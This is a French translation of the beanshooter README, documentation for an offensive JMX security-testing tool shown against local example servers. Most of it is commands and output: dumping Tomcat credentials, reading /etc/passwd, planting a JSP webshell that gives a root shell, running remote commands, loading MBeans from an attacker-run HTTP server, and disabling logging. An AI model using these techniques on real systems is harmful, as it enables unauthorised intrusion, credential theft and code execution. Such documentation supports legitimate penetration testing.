À partir de *beanshooter v4.1.0*, il est également possible de déployer le *TonkaBean* via l'action [standard](#standard).
Le déploiement du bean via l'action `standard` **ne nécessite pas** de connexions réseau sortantes depuis le serveur cible.
#### Export générique
Il n'est parfois pas possible de servir une implémentation *MBean* à l'aide du serveur stager *beanshooters*. Un scénario courant est que les connexions sortantes vers votre machine locale sont bloquées. Dans ces situations, vous pouvez vouloir charger le *MBean* depuis un autre emplacement, comme un service *SMB* sur le réseau interne auquel vous avez accès en écriture.
L'action `export` exporte le fichier *jar* qui implémente le *MBean* spécifié ainsi qu'un document *MLet HTML* correspondant, nécessaire pour charger le *MBean* à l'aide de *MLet*. En supposant que vous souhaitiez servir le *TonkaBean* à partir d'un service *SMB* écoutant sur `10.10.10.5`, vous pouvez utiliser la commande suivante :```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
Ensuite, vous pouvez télécharger le jar exporté et le fichier index.html vers le service SMB et utiliser l'action de déploiement des beanshooters
avec l'option --stager-url file:////10.10.10.5/share/index.html.
L'action info liste les informations des méthodes et attributs du MBean spécifié :```console
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
#### Invocation générique
L'action `invoke` peut être utilisée pour invoquer une méthode arbitraire sur le *MBean* spécifié :```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase
L'action stats liste quelques informations générales sur le MBean spécifié. Il s'agit des informations que beanshooters stocke localement sur le MBean correspondant et aucune interaction avec le serveur n'est nécessaire.```console
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
L'information `Jar File` indique si une implémentation du *MBean* correspondant est intégrée dans *beanshooter*. Ce fichier jar est utilisé lors du déploiement, s'il n'est pas écrasé à l'aide de l'option `--jar-file`. Actuellement, le *TonkaBean* est le seul *MBean* qui dispose d'un *Jar File*.
#### Statut générique
L'action `status` vérifie si le *MBean* correspondant est déjà disponible sur le service *JMX* :```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed
L'action de retrait supprime le MBean spécifié d'un service JMX distant :```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.
### Diagnostic
---
Le *DiagnosticCommandMBean* est un *MBean* utile qui est souvent déployé par défaut sur les *serveurs JMX*.
Il implémente plusieurs méthodes intéressantes d'un point de vue offensif. Certaines d'entre elles
sont implémentées en tant qu'opérations *beanshooter*. D'autres peuvent bien sûr être invoquées manuellement.
#### Diagnostic Read
L'opération `read` peut être utilisée pour lire des fichiers texte sur le *serveur MBean*. L'opération utilise
la méthode `addCompilerDirective` pour provoquer une exception contenant le contenu du fichier texte spécifié :```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Cette technique a été initialement implémentée par @TheLaluka dans le jolokia-exploitation-toolkit.
L'opération load peut être utilisée pour charger une bibliothèque partagée depuis le système de fichiers du serveur JMX :```console
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.
#### Fichier journal de diagnostic
L'action `logfile` peut être utilisée pour modifier l'emplacement du fichier journal de la *JVM* :```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log
L'action nolog peut être utilisée pour désactiver la journalisation (utile pour fermer le handle du fichier journal) :```console
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.
#### Diagnostic Ligne de commande
L'action `cmdline` affiche la ligne de commande avec laquelle la *JVM* a été lancée :```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD
L'action props affiche une liste des propriétés système :```console
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...
### HotSpot
---
Le *HotSpotDiagnosticMXBean* fournit une interface pour gérer la *HotSpot Virtual Machine*
et prend en charge certaines méthodes utiles d'un point de vue offensif.
#### HotSpot dump
L'action `dump` crée un heapdump et le sauvegarde dans un emplacement arbitraire sur le serveur d'application.
La seule condition est que le dump soit enregistré sous forme de fichier avec l'extension `.hprof` :```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.
L'action list affiche une liste des options de diagnostic disponibles et leurs valeurs associées :```console
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...
#### HotSpot get
L'action `get` permet d'obtenir la valeur de l'option spécifiée :```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true
L'action set permet de définir la valeur de l'option spécifiée :```console
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: true
### MLet
---
Le *MLetMBean* est un *MBean* bien connu qui peut être utilisé pour charger des *MBeans* supplémentaires sur le réseau.
Il est déjà implicitement utilisé par l'action `deploy` de *beanshooters*, mais peut également être invoqué manuellement à l'aide de l'opération `mlet`.
#### MLet Load
La seule méthode *MLet* actuellement implémentée est l'opération `load` qui peut être utilisée pour charger une classe *MBean* depuis une *URL* spécifiée par l'utilisateur :```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.
L'exemple ci-dessus montre comment le TonkaBean peut être chargé manuellement à l'aide de l'opération mlet. Si
vous souhaitez charger un MBean personnalisé à la place, vous devez spécifier le mot-clé custom au lieu de tonka et fournir
les options --class-name, --object-name et --jar-file :```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
### Recoder
---
Le *FlightRecorderMXBean* fournit une interface pour gérer le *Flight Recorder*
et prend en charge certaines méthodes intéressantes d'un point de vue offensif.
#### Recoder new
L'opération `new` démarre un nouvel enregistrement. L'ID d'enregistrement retourné peut être utilisé comme cible
pour d'autres opérations :```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1
L'action start démarre un enregistrement déjà existant et attend l'ID de l'enregistrement comme argument supplémentaire :```console
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.
#### Recoder dump
Lorsqu'un enregistrement est actif, son contenu peut être extrait à l'aide de l'action `dump`. Cela stocke les informations d'enregistrement dans un fichier de vidage sur le *serveur JMX*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat
L'action stop peut être utilisée pour arrêter un enregistrement :```console
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.
#### Sauvegarde de l'enregistreur
Après l'arrêt d'un enregistrement, il peut être sauvegardé à l'aide de l'action `save`. Contrairement à l'action `dump`, cela sauvegarde l'enregistrement sur la machine locale au lieu du serveur d'application.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat
L’opération tomcat interagit avec le MemoryUserDatabaseMBean d’Apache Tomcat. Ce MBean fournit l’accès aux comptes utilisateur disponibles sur un service Tomcat.
L’action dump exporte les noms d’utilisateur et mots de passe disponibles sur le serveur Tomcat dans des fichiers locaux.
Lorsqu’elle est invoquée avec un seul argument, les identifiants sont exportés au format <username>:<password> :```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]
Lorsqu'il est invoqué avec deux arguments, les noms d'utilisateur sont stockés dans le premier emplacement spécifié, les mots de passe dans le second :```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt
L'opération list liste les comptes utilisateurs disponibles, leurs rôles associés et leurs identifiants :```console
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
#### Tomcat Write
L'opération `write` écrit un fichier partiellement contrôlé vers un emplacement arbitraire sur le serveur d'application. Cette action peut être utilisée pour déployer de manière fiable une webshell sur un service *Tomcat* :```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)
L'action write exploite un bogue d'encodage dans le UserDatabase MBean d'Apache Tomcat. Nous avons signalé le bogue, mais il n'a pas été considéré comme une vulnérabilité de sécurité. Pour écrire dans des emplacements arbitraires, beanshooter doit modifier l'emplacement du UserDatabase. Toutes les modifications sont restaurées après l'écriture du fichier souhaité, mais soyez tout de même prudent dans les environnements de production.
Le TonkaBean est un MBean personnalisé implémenté par le projet beanshooter et permet l'accès au système de fichiers et l'exécution de commandes sur le serveur JMX. Ses actions sont accessibles en utilisant l'opération tonka, suivie de l'action souhaitée.
L'action exec peut être utilisée pour invoquer une seule commande sur le service JMX :```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)
Le dernier argument de l'opération exec est censé être une chaîne de caractères. Lorsque l'option `--shell` n'est pas utilisée, cette chaîne est divisée par les espaces (en tenant compte des guillemets) et passée sous forme de tableau à la classe `ProcessBuilder` côté serveur.
Si `--shell` a été utilisé, la chaîne shell spécifiée est divisée par les espaces et le tableau résultant est joint à la chaîne d'argument spécifiée avant d'être passé à la classe `ProcessBuilder`. Cela permet une exécution de type shell avec une interprétation correcte des caractères spéciaux du shell :```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b
Pour plus de commodité, les shells courants sont automatiquement suffixés avec l'argument de chaîne de commande requis.
Ainsi, --shell ash est automatiquement converti en --shell 'ash -c'.
L'opération execarray est très similaire à l'action exec, mais au lieu d'attendre une chaîne comme argument
et de diviser cette chaîne sur les espaces pour construire le tableau de commandes, l'opération execarray permet de spécifier plusieurs arguments
qui sont utilisés directement comme tableau de commandes pour la classe ProcessBuilder :```console
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/root
#### Tonka Shell
L'action `shell` génère un shell de commandes où vous pouvez spécifier des commandes qui sont exécutées sur le serveur *JMX*. Le shell n'est pas entièrement interactif et représente simplement une enveloppe autour de la méthode `Runtime.exec` de *Java*. Cependant, un support de base pour les variables d'environnement et un répertoire de travail courant est implémenté :```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example
L'exemple ci-dessus montre comment définir des variables d'environnement en utilisant le mot-clé !env. En dehors de ce mot-clé, plusieurs autres sont disponibles :```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
execute the specified command
cd
#### Tonka Upload
L'action `upload` peut être utilisée pour télécharger un fichier vers le serveur *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat
L'action download peut être utilisée pour télécharger un fichier depuis le serveur JMX :```console
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwd
### JMXMP
---
Les services *JMX* peuvent utiliser différents types de connecteurs. Le connecteur de loin le plus utilisé est *Java RMI*, qui permet l'accès à *JMX* via le protocole *Java RMI*. Un autre connecteur courant est le *JMX Message Protocol* (*JMXMP*) qui, bien qu'obsolète, est encore souvent rencontré. *beanshooter* intègre la prise en charge native de *JMXMP* et tente de se connecter via *JMXMP* lors de l'utilisation de l'option `--jmxmp` :```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.
Les points d'accès JMXMP authentifiés sont généralement protégés à l'aide de SASL. Avec SASL activé, un point d'accès JMX nécessite généralement que le client se connecte avec un profil SASL spécifique. Les profils disponibles pour beanshooter sont :
Chacun d'eux peut éventuellement être associé à TLS en utilisant l'option --ssl. Lors de l'utilisation de l'action enum sur un point d'accès JMXMP protégé par SASL, beanshooter tente d'énumérer le profil SASL requis. Bien que la détermination du mécanisme SASL requis soit généralement possible, le paramètre TLS requis ne peut pas être énuméré :```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
### Support Jolokia
---
À partir de *v4.0.0*, *beanshooter* prend en charge les points de terminaison JMX basés sur [Jolokia](https://github.com/rhuss/jolokia).
L'établissement de connexions à un point de terminaison basé sur *Jolokia* nécessite le format cible habituel et le drapeau `--jolokia` :```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...
En raison de l'ensemble limité de fonctionnalités de Jolokia, toutes les opérations beanshooter ne sont pas prises en charge. Veuillez consulter la FAQ Jolokia si vous avez des questions. Pour expérimenter avec Jolokia, beanshooter fournit un serveur d'exemple qui expose un point de terminaison Jolokia sur le port 8080. De plus, un point de terminaison JMX basé sur RMI standard se trouve sur le port 1090.
Depuis la version v3.1.1, beanshooter est également disponible en tant qu'image Docker et peut être téléchargée depuis le Registre de Conteneurs GitHub. Pour chaque version, il existe une version normale et une version slim. Les deux fournissent une version complète et fonctionnelle de beanshooter, mais seule la version normale inclut ysoserial, ce qui entraîne une taille d'image plus importante :
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MBVous pouvez également construire le conteneur vous-même en exécutant les commandes suivantes :```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .
### Serveur d'exemple
---


La plupart des exemples présentés ci-dessus sont basés sur le [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
et le [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Ces serveurs sont contenus dans ce dépôt dans le dossier [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) et peuvent être utilisés pour pratiquer l'énumération *JMX*.
Vous pouvez soit construire vous-même les conteneurs correspondants, soit les charger directement depuis le *GitHub Container Registry*.
Copyright 2023, Tobias Neitzel et les contributeurs de *beanshooter*.